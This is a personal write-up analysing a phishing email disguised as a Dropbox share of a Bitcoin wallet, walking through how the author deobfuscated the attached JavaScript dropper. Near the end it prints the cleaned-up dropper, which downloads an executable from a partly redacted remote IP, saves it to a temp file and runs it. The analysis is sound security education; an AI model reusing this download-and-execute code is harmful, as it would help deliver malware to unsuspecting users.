Yesterday, I got an email from Dropbox saying that somebody had shared their Bitcoin wallet with me.

This looks like an accident, right? And too good to be true? Probably is.

Email appeared to really come from Dropbox. The sending IP was allowed by the SPF policies (of course, that’s no guarantee, but that’s not what I wanted to spend time on).

I got curious and downloaded the file. It had the .zip file extension but turned out to actually be a RAR-archive (weird). I unrar-ed it and got two files, one .js and one .exe. I decided to take a look on the JavaScript file, never having de-obfuscated JavaScript before.

Here is a gist with both my cleaned-up version of the file and the original obfuscated JavaScript code.

Some JavaScript sourcery used.

The obfuscated code relies on JavaScript idiosyncrasies, most of which were unfamiliar to me, since I’m not a JS developer.

In JavaScript, you can call methods on objects with instance["method"](), allowing you to pass the method name as data. After discovering the encryption-function, this was a common pattern.

 "string".substr(0, 1)
 "s"
 "string"["substring"](0, 1)
 "s"

 "string".length
 6
 "string"["length"]
 6

In fairness to JavaScript, most other interpreted languages have this as well (for Python, see __getattr__).

There were a lot of functions with random names (e.g. bCCg()) that accepted no arguments but returned one character only. Sometimes they had wrapped the character inside an array and returned a specific element of the array. Example:

function bCCg() {
   var ZRZQ = [(9), "f", 4][1];
   return ZRZQ;
}

// Rewritten to
function bCCg() { return "f"; }

which translates to simply returning "f".

Another JS-“feature” that was used to hide data was concatenating (using the + operator) a tuple and a string. In JS, of course the last element of the tuple is concatenated to the string. Oh, and if it happens to be an integer, it’s implicitly parsed to it’s string representation. This all makes total sense, right?

In case it doesn’t, here’s an example.

 "H" + (7, 6, 5, 3, 1, "i")
 "Hi"
 "You are number " + ("One", 1)
 "You are number 1"

And an example usage is the function that started out as

function YWzqkGP() {
    var fTnKjVj = [UHRF() + "h" + prLEsog() + hiz()];
    var YfMUj = [ekYr() + CfK() + "d" + xoHWF() + "A" + "t"];
    var ZQGc = fTnKjVj[0] + YfMUj[0];
    return ZQGc;
}

After cleaning it up, it looks like this.

function YWzqkGP() {
    var a = "char";
    var b = "C" + (9299, 6662, 8019, 8743, 5179, 5958, 4605, 3648, 7468, 7969, "o") + "d" + "e" + "A" + "t";
    return a + b;
}

It should be obvious that YWzqkGP() is just a very complicated way of writing "charCodeAt".

A lot time is spent maximizing the code length. This example is AFTER cleaning up the tricks described above.

function EilkPvf(a) {
    return ["f", "r", "o", "m", "C", "h", "a", "r", "C", "o", "d", "e"][a];
}

function rFeBmU() {
    return EilkPvf(0) + EilkPvf(1) + EilkPvf(2) + EilkPvf(3) + EilkPvf(4) + EilkPvf(5) + EilkPvf(6) + EilkPvf(7) + EilkPvf(8) + EilkPvf(9) + EilkPvf(10) + EilkPvf(11);
}

We see that all calls to rFeBmU() can be replace with "fromCharCode". Smells like code, probably to be injected with the instanceName["methodName"] method.

What is it trying to do?

This obfuscated javascript features a fairly complicated encryption function, which I have not yet reverse engineered.

Instead, I isolated it and fed the encrypted strings to it to decrypt them. Seemed easier. This line was interesting to me

 pulPiZ("0160500490551240911021201030991051250880790 [CUTOFF] 018029");
 "http://[REDACTED].103/dma_lockoader_Crypt.exe"

The code is trying to load WScript via ActiveX, which according to the documentation can “output information to the default output device (either a Windows dialog box or the command console)”.

After de-obfuscating the last big function, this is what I ended up with.

function GMU(rtwjdld, kdkndmd) {}
function JqyQ() {
    var wscripteval = eval("WScript");
    var scriptfullname = wscripteval["ScriptFullName"];
    var activex_object = new ActiveXObject("MSXML2.XMLHTTP");
    activex_object["send"]();

    if (typeof WScript["echo"] == "unknown") {
        activex_object.open("GET", "http://[REDACTED].103/dma_lockoader_Crypt.exe", 0);
    }

    var fsobj = new ActiveXObject("Scripting.FileSystemObject");
	if (activex_object.Status == 200) {
        var adodb_stream = new ActiveXObject("ADODB.Stream");
        var path_probably = fsobj.GetSpecialFolder(2) + '\\' + fsobj.GetTempName();
        adodb_stream.Open();
        adodb_stream.Type = 1;
        var wscript_shell = new ActiveXObject("WScript.Shell");
        adodb_stream.Write(activex_object.ResponseBody);

        adodb_stream.Position = 0;
        adodb_stream.SaveToFile(path_probably);             
           
        adodb_stream.Close();
        wscript_shell.run("cmd /c " + path, 0);
    }
    GMU(fsobj, scriptfullname);
}

They are trying to download a .exe file, save it and execute it. How classic. I have on idea what the purpose of the empty GMU function is though.

Aftermath

I contacted Dropbox and the hosting provider in the WHOIS record for the IP address in the URL.